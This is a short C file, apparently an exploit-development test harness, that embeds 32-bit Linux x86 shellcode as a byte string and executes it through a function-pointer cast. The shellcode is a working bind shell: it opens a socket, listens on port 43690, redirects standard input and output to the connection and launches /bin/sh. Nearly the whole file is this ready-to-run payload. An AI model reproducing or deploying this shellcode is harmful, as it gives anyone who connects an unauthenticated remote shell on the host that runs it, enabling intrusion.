20 lines
759 B
C
Executable file
20 lines
759 B
C
Executable file
#include<stdio.h>
|
|
#include<string.h>
|
|
|
|
// Enter your shellcode here
|
|
char *code = \
|
|
"\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66"
|
|
"\xcd\x80\x89\xc6\x52\x66\x68\xaa\xaa\x66\x6a\x02\x89\xe1\x6a\x10"
|
|
"\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04"
|
|
"\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89"
|
|
"\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x52\x68\x2f"
|
|
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x52\x89\xe1\xb0\x0b"
|
|
"\xcd\x80\x31\xc0\xb0\x01\xb3\x08\xcd\x80";
|
|
|
|
// Just execute the shellcode. This is just to check if your shellcode works
|
|
int main(int argc,char** argv ){
|
|
printf("Shellcode Length: %lu\n", strlen(code));
|
|
int (*ret)() = (int(*)())code;
|
|
ret();
|
|
}
|
|
|